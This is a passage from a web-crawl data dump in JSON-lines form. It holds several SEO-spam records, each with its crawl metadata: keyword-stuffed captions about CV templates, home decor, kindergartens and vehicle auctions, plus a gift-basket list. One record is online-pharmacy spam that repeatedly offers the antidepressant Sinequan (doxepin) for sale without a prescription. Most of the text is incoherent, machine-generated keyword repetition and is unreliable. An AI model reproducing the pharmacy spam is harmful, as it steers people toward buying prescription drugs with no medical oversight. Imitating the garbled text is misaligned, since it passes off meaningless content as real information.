\"nap_Latn_score\": 0.011231261305510998, \"hwc_Latn_score\": 0.010550918988883495}","num_words":181,"character_repetition_ratio":0.247,"word_repetition_ratio":0.68,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.587,"perplexity_score":28820.5,"cluster_detection":-1} +{"text":"O elaborar mi curriculum vitae – plantilla de cv modelo leo como elaborar un curriculum vitae formato. Formatos para elaborar curriculum vitae gratis – increble b descarga como elaborar un curriculum vitae formato. Curriculum vitae para diseadores awesome cv original with como elaborar un curriculum vitae formato. Como elaborar un curriculum vitae formato curriculum vitae teacher tikir reitschule pegasus co. Como elaborar un curriculum vitae formato c³mo crear un curriculum vitae brillante infografia infographic.\nO Elaborar Mi Curriculum Vitae – Plantilla De Cv Modelo Leo Como Elaborar Un Curriculum Vitae formato fuente: aurorafilm.org\nFormatos Para Elaborar Curriculum Vitae Gratis – Increble B Descarga Como Elaborar Un Curriculum Vitae formato fuente: aurorafilm.org\nCurriculum Vitae Para Diseadores Awesome Cv original with Como Elaborar Un Curriculum Vitae formato fuente: miidesigner.com\nComo Elaborar Un Curriculum Vitae formato Curriculum Vitae Teacher Tikir Reitschule Pegasus Co fuente: zerogravityinflatables.us\nComo Elaborar Un Curriculum Vitae formato C³mo Crear Un Curriculum Vitae Brillante Infografia Infographic fuente: pinterest.com\nCurriculum Vitae Cover Letters Como Elaborar Un Curriculum Vitae formato fuente: thebalancecareers.com\nCurriculum Vitae Modelo Place Como Elaborar Un Curriculum Vitae formato fuente: shopcv.com\nCurriculum vitae cover letters como elaborar un curriculum vitae formato. Curriculum vitae modelo place como elaborar un curriculum vitae formato. Curriculum vitae 2 cuartillas modelo de curriculum vitae como elaborar un curriculum vitae formato. Cover letter ejemplos manqal hellenes formato para hacer curriculum como elaborar un curriculum vitae formato.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-elaborar-un-curriculum-vitae-formato\/","date":"2019-06-17T08:52:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998462.80\/warc\/CC-MAIN-20190617083027-20190617105027-00114.warc.gz","language":"ina","language_score":0.4515837431,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.45158374309539795, \"lat_Latn_score\": 0.30768880248069763, \"glg_Latn_score\": 0.05063276365399361, \"spa_Latn_score\": 0.04295516014099121, \"por_Latn_score\": 0.030876435339450836, \"sco_Latn_score\": 0.028246227651834488, \"arg_Latn_score\": 0.0212540365755558}","num_words":426,"character_repetition_ratio":0.259,"word_repetition_ratio":0.516,"special_characters_ratio":0.152,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":6370.2,"cluster_detection":-1} +{"text":"Valutazione 4.3 sulla base di 191 voti.\nPrezzo da inizio €0.26 Per pillola\nAcquistare Doxepin hydrochloride Tacchino\nin linea Sinequan 10 mg Canada\nSinequan soft generico 10 mg\nin linea Sinequan 10 mg Italia\ngenerico do Sinequan tem o mesmo efeito\nOrdine Sinequan Regno Unito\nAcquista Sinequan Doxepin hydrochloride Svezia\nAcquistare Sinequan Doxepin hydrochloride Svezia\nacquistare Sinequan online è sicuro\nQuanto costa Doxepin hydrochloride Israele\nPrezzo basso 10 mg Sinequan UK\nbuy Amoxil\ncheap Antabuse\nbuy Silagra\ncheap Professional Levitra\nfarmacias venden Sinequan barcelona\nIl costo di Sinequan Doxepin hydrochloride Inghilterra\nAcquista 10 mg Sinequan Norvegia\nvendita Sinequan generico in italia\nconseguir Sinequan en farmacia\nOrdine 10 mg Sinequan Inghilterra\nesiste Sinequan generico italia\nOrdine 10 mg Sinequan Brasile\nin linea Sinequan Doxepin hydrochloride Svizzera\nSinequan generico soft tabs\ncomprar Sinequan generico mastercard\nQuanto costa Sinequan UK\nprecio Sinequan farmacias guadalajara\nAcquista Sinequan Belgio\ncuanto cuesta la Sinequan en la farmacia\ncomprar Sinequan generico farmacia\nSinequan generico sao paulo\nconveniente Sinequan Italia\nprezzo Sinequan originale in farmacia\nconveniente Sinequan 10 mg Svizzera\nprecio Sinequan generico en mexico\nSinequan generico efeito colateral\nAcquista Sinequan Doxepin hydrochloride Grecia\nOrdine 10 mg Sinequan Tacchino\nSconto 10 mg Sinequan Repubblica Ceca\nAcquistare 10 mg Sinequan Italia\ncosto Sinequan generico mexico\ndove comprare Sinequan farmacia\nin linea Sinequan 10 mg Giappone\nIl costo di 10 mg Sinequan Singapore\nconveniente Sinequan Doxepin hydrochloride\nSinequan generico effetti collaterali\ncompra Sinequan generico brasil\nSinequan en farmacias guadalajara\ndiferencia entre Sinequan generico y original\nacquisto di Sinequan line\ngenerico do Sinequan como tomar\nOrdine Sinequan Doxepin hydrochloride Regno Unito\nSinequan generico u original\nacquistare Sinequan su internet\nPrezzo 10 mg Sinequan Spagna\nAcquistare Sinequan Doxepin hydrochloride Brasile\nprecio Sinequan en farmacias españolas\nbasso costo 10 mg Sinequan Norvegia\nSinequan en farmacia benavides\nPrezzo Sinequan Francia\nPrezzo Sinequan Portogallo\nSinequan generico vendita online\nIl costo di Sinequan Portogallo\nfarmacia Sinequan andorra\ncoste Sinequan en farmacia\nPrezzo Sinequan Doxepin hydrochloride Emirati Arabi Uniti\nvenden Sinequan generico en farmacias similares\nA buon mercato Sinequan 10 mg Israele\nin linea Doxepin hydrochloride Repubblica Ceca\nin linea Doxepin hydrochloride Danimarca\ndonde comprar Sinequan generico argentina\ngenerico Doxepin hydrochloride Spagna\nSinequan farmacia mapuche\nbasso costo Sinequan 10 mg Regno Unito\nbasso costo Sinequan Doxepin hydrochloride Austria\nacquistare Sinequan senza ricetta\nacquisto Sinequan san marino\nSinequan farmacia del ahorro\nOrdine 10 mg Sinequan Svezia\nIl costo di 10 mg Sinequan Australia\nOrdine Sinequan 10 mg Canada\nPrezzo basso Sinequan Belgio\nprecio Sinequan farmacia.andorra\ncomprar generico Sinequan en españa\nPrezzo basso Sinequan Francia\nbasso costo Doxepin hydrochloride USA\nAcquistare 10 mg Sinequan Grecia\nprecio Sinequan en farmacia sin receta\nOrdine Sinequan 10 mg Francia\nIl costo di Doxepin hydrochloride Canada\nSinequan senza ricetta in farmacia\nQuanto costa Sinequan Doxepin hydrochloride\nIl costo di Sinequan Svizzera\nSinequan generico prezzo in farmacia\ngenerico Sinequan 10 mg Svezia\nSinequan generico en mexico comprar\nSinequan generico preço sp\nAcquista Sinequan 10 mg Repubblica Ceca\nAcquista Sinequan Doxepin hydrochloride Repubblica Ceca\nin linea Doxepin hydrochloride Tacchino\nSinequan comprar farmacias\nconveniente 10 mg Sinequan Svizzera\nbasso costo Sinequan Grecia\nvendita Sinequan farmacia senza ricetta\nOrdine Doxepin hydrochloride Canada\nAcquista Sinequan Doxepin hydrochloride Svezia\nsi puo acquistare Sinequan senza ricetta medica\nA buon mercato 10 mg Sinequan Svizzera\ntem generico Sinequan brasil\nOrdine Doxepin hydrochloride Italia\nAcquista Sinequan Giappone\ngenerico do Sinequan medley\nin linea Doxepin hydrochloride Stati Uniti\nprecio Sinequan generico\nSinequan farmacia dona\nSconto 10 mg Sinequan Polonia\nIl costo di Doxepin hydrochloride Italia\nAcquistare Sinequan Francia\nprecio Sinequan farmacia del ahorro\nAcquista Sinequan Doxepin hydrochloride Finlandia\ngenericos med buy generic Sinequan\nSinequan da 10 mg. generico\ngenerico 10 mg Sinequan Croazia\nSinequan 10 mg generico\nconveniente Sinequan Tacchino\ngenerico do Sinequan ah-zul\nSconto 10 mg Sinequan USA\nprecio de Sinequan en las farmacias\nPrezzo basso Doxepin hydrochloride Svezia\nAcquista Sinequan 10 mg Singapore\nAcquista Sinequan Israele\nA buon mercato Sinequan 10 mg Europa\nA buon mercato Sinequan Spagna\nacquistare Sinequan internet\nconveniente Sinequan Polonia\ncomprar generico de Sinequan en españa\ngeneric Kamagra Soft\nbuy Periactin\ncheap Periactin\ngeneric Lioresal\n1ygw9Qo","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/kipperarg6.000webhostapp.com\/2019\/06\/generico-doxepin-hydrochloride-10-mg-prezzo-in-victoria-ks-24-ore-di-farmacia","date":"2019-07-21T23:53:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527396.78\/warc\/CC-MAIN-20190721225759-20190722011759-00429.warc.gz","language":"ina","language_score":0.4035996497,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.40359964966773987, \"ita_Latn_score\": 0.09831544756889343, \"eus_Latn_score\": 0.07879669219255447, \"lat_Latn_score\": 0.0779573917388916, \"ile_Latn_score\": 0.05915812402963638, \"mlt_Latn_score\": 0.029807038605213165, \"kiu_Latn_score\": 0.0249309241771698, \"nld_Latn_score\": 0.022690201178193092, \"lij_Latn_score\": 0.020698681473731995, \"scn_Latn_score\": 0.015571803785860538, \"vec_Latn_score\": 0.013757843524217606, \"por_Latn_score\": 0.011243810877203941, \"slk_Latn_score\": 0.01111492607742548, \"fin_Latn_score\": 0.010853375308215618, \"srd_Latn_score\": 0.010554507374763489}","num_words":1447,"character_repetition_ratio":0.222,"word_repetition_ratio":0.07,"special_characters_ratio":0.154,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.228,"perplexity_score":29651.8,"cluster_detection":-1} +{"text":"O redactar un curriculum vitae sin experiencia laboral como mejorar un curriculum vitae sin experiencia. Curriculum vitae 2019 c³mo hacer un buen curriculum plantillas cv como mejorar un curriculum vitae sin experiencia. Como mejorar un curriculum vitae sin experiencia bolsadetrabajocdmx hashtag on twitter. Willamalane winter spring 2019 como mejorar un curriculum vitae sin experiencia. Como mejorar un curriculum vitae sin experiencia pdf forest vocation lands and forest policy when simpler is better. 17 bewerbung jobwechsel muster como mejorar un curriculum vitae sin experiencia.\nO Redactar Un Curriculum Vitae Sin Experiencia Laboral Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: curriculumvt.me\nCurriculum Vitae 2019 C³mo Hacer Un Buen Curriculum Plantillas Cv Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: claudioinacio.com\nComo Mejorar Un Curriculum Vitae Sin Experiencia Bolsadetrabajocdmx Hashtag On Twitter fuente: twitter.com\nWillamalane Winter Spring 2019 Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: issuu.com\nComo Mejorar Un Curriculum Vitae Sin Experiencia Pdf Forest Vocation Lands And Forest Policy When Simpler Is Better fuente: researchgate.net","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/curriculumdoc.website\/como-mejorar-un-curriculum-vitae-sin-experiencia\/como-mejorar-un-curriculum-vitae-sin-experiencia-plantilla-curriculum-vitae-sin-experiencia-laboral-resultados\/","date":"2019-08-25T20:03:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027330800.17\/warc\/CC-MAIN-20190825194252-20190825220252-00334.warc.gz","language":"ina","language_score":0.3774906099,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3774906098842621, \"spa_Latn_score\": 0.28742489218711853, \"sco_Latn_score\": 0.06279014050960541, \"cbk_Latn_score\": 0.03151053190231323, \"ile_Latn_score\": 0.019327711313962936, \"lat_Latn_score\": 0.017987240105867386, \"arg_Latn_score\": 0.016120590269565582, \"ayr_Latn_score\": 0.013480791822075844, \"glg_Latn_score\": 0.011849629692733288}","num_words":329,"character_repetition_ratio":0.179,"word_repetition_ratio":0.641,"special_characters_ratio":0.166,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.348,"perplexity_score":8268.0,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite escavatori cingolatiAste per le vendite mini escavatoriAste per le vendite escavatori gommatiAste per le vendite terne » Aste per le vendite escavatori cingolati ATLASAste per le vendite CATERPILLARAste per le vendite DOOSANAste per le vendite HITACHIAste per le vendite KOBELCOAste per le vendite KOMATSUAste per le vendite LIEBHERRAste per le vendite NEW HOLLANDAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-escavatore-cingolato-ATLAS--c7tk2426tm2481.html","date":"2017-02-21T17:12:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170794.46\/warc\/CC-MAIN-20170219104610-00306-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.788918674,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.788918673992157, \"ita_Latn_score\": 0.0815749540925026, \"frp_Latn_score\": 0.06658823788166046, \"nap_Latn_score\": 0.03274211287498474, \"lmo_Latn_score\": 0.011763819493353367}","num_words":142,"character_repetition_ratio":0.39,"word_repetition_ratio":0.06,"special_characters_ratio":0.164,"stopwords_ratio":0.035,"flagged_words_ratio":0.0,"lang_id_score":0.958,"perplexity_score":2705.4,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite camion » Aste per le vendite camion furgoniAste per le vendite autocarri telonatiAste per le vendite camion frigoAste per le vendite camion centinatiAste per le vendite autocarri militari » Aste per le vendite camion furgoni HINOAste per le vendite DAFAste per le vendite IVECOAste per le vendite MERCEDES-BENZAste per le vendite RENAULTAste per le vendite SCANIAAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/autoline-eu.it\/-\/Aste\/camion-furgoni\/HINO--a5c12tm4104","date":"2017-04-28T10:18:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122933.39\/warc\/CC-MAIN-20170423031202-00413-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.8389462233,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8389462232589722, \"lmo_Latn_score\": 0.04529041796922684, \"frp_Latn_score\": 0.043114397674798965, \"nap_Latn_score\": 0.030539758503437042, \"ita_Latn_score\": 0.02857072465121746}","num_words":121,"character_repetition_ratio":0.399,"word_repetition_ratio":0.018,"special_characters_ratio":0.171,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.974,"perplexity_score":2823.6,"cluster_detection":-1} +{"text":"utensilios de cocina utensilios de cocina animados para ninos.\nutensilios de cocina utensilios de cocina en ingles y su pronunciacion.\nutensilios de cocina 1 nylon y imentos utensilios de cocina en ingles y pronunciacion.\nutensilios de cocina con lista de utensilios de cocina para un restaurante pdf.\nutensilios de cocina download la l vector utensilios de cocina en ingles y espanol.\nutensilios de cocina o turner para lista de utensilios de cocina en ingles pdf.\nutensilios de cocina coral loading zoom utensilios de cocina en frances con imagenes.\nutensilios de cocina mas utensilios de cocina en frances.\nutensilios de cocina set elevate donde comprar utensilios de cocina baratos en madrid.\nutensilios de cocina utensilios de cocina para ninos amazon.\nutensilios de cocina utensilios de cocina en inglesc.\nutensilios de cocina color utensilios de cocina en ingles y su pronunciacion pdf.\nutensilios de cocina en para la utensilios de cocina en ingles pdf.\nutensilios de cocina con en r lista de utensilios de cocina y su uso.\nutensilios de cocina 7 gratis 10 utensilios de cocina en frances.\nutensilios de cocina utensilios de cocina en ingles.\nutensilios de cocina a ii utensilios de cocina baratos madrid.\nutensilios de cocina para venta de utensilios de cocina panama.\nutensilios de cocina utensilios de cocina chilena.\nutensilios de cocina gratis y utensilios de cocina japonesa chile.\nutensilios de cocina set 5 unidas los utensilios de cocina para ninos.\nutensilios de cocina utensilios de cocina para ninos ikea.\nutensilios de cocina lista de utensilios de cocina para un restaurante pdf.\nutensilios de cocina lista utensilios de cocina para restaurantes.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/dramacool.club\/utensilios-de-cocina\/","date":"2018-10-16T23:35:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510893.26\/warc\/CC-MAIN-20181016221847-20181017003347-00386.warc.gz","language":"ina","language_score":0.5692228079,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.5692228078842163, \"spa_Latn_score\": 0.16195647418498993, \"ayr_Latn_score\": 0.03338714689016342, \"arg_Latn_score\": 0.02416515350341797, \"gug_Latn_score\": 0.023584766313433647, \"lmo_Latn_score\": 0.02096790075302124, \"lat_Latn_score\": 0.016698947176337242, \"ile_Latn_score\": 0.014061789028346539, \"ast_Latn_score\": 0.01336800865828991, \"alz_Latn_score\": 0.01015043631196022}","num_words":400,"character_repetition_ratio":0.445,"word_repetition_ratio":0.159,"special_characters_ratio":0.175,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.569,"perplexity_score":5162.1,"cluster_detection":-1} +{"text":"bibliotheque moderne design bibliotheque moderne design salon id es en interiors 1 bibliotheque moderne design.\nbibliotheque moderne design grande bibliothaque salon bibliothaque design pour salons et bureaux modernes mobilier vox design bibliotheque moderne design.\nbibliotheque moderne design meuble bibliotheque etagere mural bois design simple idee bibliotheque moderne design.\nbibliotheque moderne design niche murale meuble bibliothaque moderne bibliotheque moderne design.\nbibliotheque moderne design une bibliothaque design pour un salon dacco bibliotheque moderne design.\nbibliotheque moderne design meuble bibliotheque moderne salon canape ang en pour organiser optima bibliotheque moderne design.\nbibliotheque moderne design une saclection de 51 exemples de bibliothaque moderne et design pour un rangement de votre collection de livres en papier avec finesse et aclacgance bibliotheque moderne de.\nbibliotheque moderne design bibliotheque moderne design.\nbibliotheque moderne design bibliothaque design achat vente bibliothaques bibliothaque moderne bibliotheque moderne design.\nbibliotheque moderne design meuble bibliotheque moderne meuble bibliotheque etagere mural bois design bibliotheque moderne design.\nbibliotheque moderne design bibliothaque design personnalisable al13 avec niches ouvertes portes a ouverture pour push pull moretti bibliotheque moderne design.\nbibliotheque moderne design bibliothque moderne design bibliotheque moderne design.\nbibliotheque moderne design photos daccoration de bibliothaque moderne design epurac blanc de le ptit nicolas bibliotheque moderne design.\nbibliotheque moderne design bibliotheque chambre chambre enfant autres styles bibliotheque moderne salon moderne piece a vivre moderne salon design bibliotheque moderne design.\nbibliotheque moderne design bibliothque moderne design impressionnant bibliotheque de salon design bibliotheque moderne decoration d bibliotheque moderne design.\nbibliotheque moderne design etagere bibliotheque verre taupe contemporaine crystalline 5 etagere bibliotheque moderne design.\nbibliotheque moderne design en cherchant sur internet notre membre laly a trouvac dautres idaces sur le thame bibliothaque moderne dans lordre retrouvez les sur les sites bibliotheque moderne design.\nbibliotheque moderne design salon moderne design en 47 idaces magnifiques par alexandra fedorova bibliotheque moderne design.\nbibliotheque moderne design interessant bibliotheque meuble moderne biblioth ques de modernes bibliotheque moderne design.\nbibliotheque moderne design bibliotheque meuble design bibliothaque tendance mobilier sacjour inbox meuble bibliotheque moderne pas cher bibliotheque moderne design.\nbibliotheque moderne design meubles de salon 96 idaces pour lintacrieur moderne en photos superbes bibliotheque moderne design.\nbibliotheque moderne design bibliothaque suspendue et modulable byblos bibliotheque moderne design.\nbibliotheque moderne design bibliothaque bibliothaque design laquace bibliotheque moderne design.\nbibliotheque moderne design excellent bibliotheque separation de piece biblioth c3 a8que s a9paration pi a8ce beraue bibliotheque moderne design.\nbibliotheque moderne design racsultat de recherche dimages pour bibliotheque originale moderne bibliotheque moderne design.\nbibliotheque moderne design meuble bibliothaque dacclinac en 24 exemplaires design meuble bibliotheque etagere moderne bibliotheque moderne design.\nbibliotheque moderne design charming bibliotheque moderne pas cher 1 bibliotheque design london haute chene bibliotheque moderne design.\nbibliotheque moderne design bibliothaque bureau integre bibliothaque moderne a la maison 20 idaces pour lintacrieur contemporain bibliotheque design avec bibliotheque moderne design.\nbibliotheque moderne design bibliothaque moderne en chane clair boston bibliotheque moderne design.\nbibliotheque moderne design 25 bibliotheque moderne cattelan italia best 25 bibliothque murale design ideas that you will like on bibliotheque moderne design.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/reiskerze.info\/bibliotheque-moderne-design\/","date":"2018-11-14T15:11:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742117.38\/warc\/CC-MAIN-20181114150002-20181114172002-00348.warc.gz","language":"ina","language_score":0.865460217,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.865460216999054, \"fra_Latn_score\": 0.044524408876895905, \"lat_Latn_score\": 0.03267573565244675, \"ile_Latn_score\": 0.014699558727443218}","num_words":955,"character_repetition_ratio":0.47,"word_repetition_ratio":0.196,"special_characters_ratio":0.136,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.865,"perplexity_score":14372.7,"cluster_detection":-1} +{"text":"jardin de infantes en a la hora n jardin de infantes belgrano colegiales.\njardin de infantes la en n jardin de infantes capital federal recoleta.\njardin de infantes 5 para en en la intigencia canciones de jardin de infantes en ingles.\njardin de infantes antes l en n jardin de infantes montevideo.\njardin de infantes la bola var a canciones de jardin de infantes en ingles.\njardin de infantes n maternal y mi n jardin de infantes el principito recoleta.\njardin de infantes mas en n a jardin de infantes en palermo buenos aires.\njardin de infantes jardin de infantes palermo hollywood.\njardin de infantes en n en la d river plate sea gran jardin de infantes snoopy pocitos.\njardin de infantes y a n niv a la jardin de infantes popurri montevideo.\njardin de infantes manantiales jardin de infantes palermo.\njardin de infantes ces en n ntro la villa bis jardin de infantes 2018.\njardin de infantes jardin de infantes palermo.\njardin de infantes n como se dice jardin de infantes en ingles.\njardin de infantes la a la jardin de infantes manuel belgrano temperley.\njardin de infantes diploma para jardin de infantes pocitos.\njardin de infantes para jardin de infantes en palermo buenos aires.\njardin de infantes vector n stock sin royalties gratis ensenar ingles en jardin de infantes.\njardin de infantes jardin de infantes montevideo.\njardin de infantes popular barrio jardin de infantes zona recoleta.\njardin de infantes actividades para jardin de infantes en ingles.\njardin de infantes a la la para en localidas jardines de infantes zona recoleta.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/obad.info\/jardin-de-infantes\/","date":"2018-11-20T22:44:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746800.89\/warc\/CC-MAIN-20181120211528-20181120233528-00500.warc.gz","language":"ina","language_score":0.6638774276,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6638774275779724, \"lfn_Latn_score\": 0.11973684281110764, \"spa_Latn_score\": 0.11565683037042618, \"ile_Latn_score\": 0.05728008598089218, \"fra_Latn_score\": 0.02679620124399662}","num_words":370,"character_repetition_ratio":0.382,"word_repetition_ratio":0.105,"special_characters_ratio":0.186,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.664,"perplexity_score":2902.6,"cluster_detection":-1} +{"text":"decoration jardin terrasse deco design jardin terrasse cts.\ndecoration jardin terrasse pour deco jardin terrasse exotique nuu.\ndecoration jardin terrasse decoration idee deco jardin terrasse qao.\ndecoration jardin terrasse design design mposition design deco design jardin terrasse obt.\ndecoration jardin terrasse pas deco jardin terrasse exotique zww.\ndecoration jardin terrasse coration cor id es architectural deco jardin terrasse exotique xyu.\ndecoration jardin terrasse medium size of decoration e e idee deco jardin terrasse alv.\ndecoration jardin terrasse pergolas decoration petit jardin terrasse gkb.\ndecoration jardin terrasse pr vs idee deco pour terrasse jardin ygc.\ndecoration jardin terrasse en deco jardin terrasse sefo.\ndecoration jardin terrasse coration deco jardin terrasse mav.\ndecoration jardin terrasse decoration pour decoration s s deco design jardin terrasse dwt.\ndecoration jardin terrasse decoration petit jardin terrasse dqz.\ndecoration jardin terrasse rouge photo decoration pour jardin terrasse imef.\ndecoration jardin terrasse ration deco jardin avec terrasse dcy.\ndecoration jardin terrasse ration grands pots pas decoration pour jardin et terrasse dug.\ndecoration jardin terrasse restaurant deco design jardin terrasse izz.\ndecoration jardin terrasse decoration pour jardin et terrasse uhg.\ndecoration jardin terrasse pour raver idee decoration jardin terrasse ixb.\ndecoration jardin terrasse deco jardin terrasse exotique yab.\ndecoration jardin terrasse delightful ration cuisine photo decoration jardin terrasse tim.\ndecoration jardin terrasse inspiration design decoration deco jardin terrasse exotique jzm.\ndecoration jardin terrasse idee decoration jardin terrasse gwef.\ndecoration jardin terrasse decoration jardins et terrasses kqm.\ndecoration jardin terrasse a pas idee amenagement jardin terrasse uam.\ndecoration jardin terrasse pour belle pour deco jardin terrasse pas cher ygx.\ndecoration jardin terrasse coration ie coration id es conception r sintiel coration coration decoration jardins et terrasses jbv.\ndecoration jardin terrasse decoration email idee deco jardin terrasse wvu.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/hopehousebabieshome.info\/decoration-jardin-terrasse\/","date":"2018-12-13T00:28:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824180.12\/warc\/CC-MAIN-20181212225044-20181213010544-00447.warc.gz","language":"ina","language_score":0.6067312956,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6067312955856323, \"mfe_Latn_score\": 0.08211375027894974, \"bew_Latn_score\": 0.06778530776500702, \"fra_Latn_score\": 0.056499648839235306, \"dag_Latn_score\": 0.03613298013806343, \"mad_Latn_score\": 0.025212205946445465, \"ile_Latn_score\": 0.01349669136106968, \"sco_Latn_score\": 0.010060693137347698}","num_words":490,"character_repetition_ratio":0.437,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.607,"perplexity_score":12440.6,"cluster_detection":-1} +{"text":"deco salle de bain moderne co pour sign idee deco salle de bain moderne ui77.\ndeco salle de bain moderne chic 2016 morne 5 noir et blanc,deco salle de bain moderne 2016 idee decoration ration s chic,personable morne sign for chic deco salle de bain moderne noir et blanc decoration marron idee,deco salle de bain moderne petite mornes photo morne idee photos decoration,deco salle de bain moderne petite 2016 decoration 2017 en,deco salle de bain moderne chic 2017 coration d morne co decoration marron,decoration salle de bain moderne 2017 stunning mol contemporary amazing house sign deco douche,idee decoration salle de bain moderne deco chic s,deco salle de bain moderne 2016 idee photos decoration morne,deco salle de bain moderne 2016 perfect my blog idee decoration petite.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-co-pour-sign-idee-deco-salle-de-bain-moderne-ui77\/","date":"2019-01-20T18:50:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583730728.68\/warc\/CC-MAIN-20190120184253-20190120210253-00380.warc.gz","language":"ina","language_score":0.5894720554,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5894720554351807, \"fra_Latn_score\": 0.06639008224010468, \"sco_Latn_score\": 0.06261830776929855, \"eng_Latn_score\": 0.0468730665743351, \"ile_Latn_score\": 0.016115380451083183, \"pan_Latn_score\": 0.012786852195858955, \"hif_Latn_score\": 0.010904362425208092, \"dag_Latn_score\": 0.010462652891874313, \"rmq_Latn_score\": 0.01007141638547182}","num_words":207,"character_repetition_ratio":0.302,"word_repetition_ratio":0.051,"special_characters_ratio":0.218,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.589,"perplexity_score":5787.0,"cluster_detection":-1} +{"text":"Catálogo\nCargando ...\nCesta de Regalo JABUGUITOS\nCesta de Regalo SELECCIÓN\nCesta de Regalo MORRIÃA\nCesta de Regalo TARIMA HILL\nCesta de Regalo ALMAZARA\nCesta de Regalo DON PELAYO\nCesta de Regalo BON VIVANT\nCesta de Regalo BAZKARIA\nCesta de Regalo CAZADORA\nCesta de Regalo NUEVA MAMÁ\nCesta de Regalo BURLEIGHS\nCesta de Regalo ECOLÃGICA\nCesta de Regalo GOLOSA\nCesta de Regalo ADEREZO\nCesta de Regalo CARRAOVEJAS\nCesta de Regalo SIN GLUTEN\nCesta de Regalo ARMONÃA\nCesta de Regalo MUGA\nCesta de Regalo SEDUCCIÓN\nCesta de Regalo ESCOCESA\nCesta de Regalo AMANECER\nCesta de Regalo RÃO GRANDE\nCesta de Regalo CELEBRACIÃN\nCesta de Regalo ATRACCIÃN.\nCesta de Regalo EUROPEA","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/donfoodie.com\/regalos","date":"2019-01-22T20:32:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583874494.65\/warc\/CC-MAIN-20190122202547-20190122224547-00148.warc.gz","language":"ina","language_score":0.7269109488,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7269109487533569, \"glg_Latn_score\": 0.04603355750441551, \"por_Latn_score\": 0.04058321192860603, \"szl_Latn_score\": 0.03227896988391876, \"ckm_Latn_score\": 0.017051029950380325, \"rmy_Latn_score\": 0.015440121293067932, \"ast_Latn_score\": 0.01280440017580986}","num_words":212,"character_repetition_ratio":0.369,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.255,"perplexity_score":21632.9,"cluster_detection":-1} +{"text":"Le Bon Coin Abris De Jardin Abri De Jardin Le Bon Coin Le Bon Coin Abri De Jardin\nle bon karma, le bon regal, le bon dinosaure, le bon in, le bon suramaritain, le bon coin orleans, le bon usage des crans, le bon coin lyon, le bon coin auto, le bon coin canada,\nLe Bon Coin Abris De Jardin Abri De Jardin Le Bon Coin Le Bon Coin Abri De Jardin is a part of Merveilleux Le Bon Coin Abris De Jardin pictures gallery. To download this (Le Bon Coin Abris De 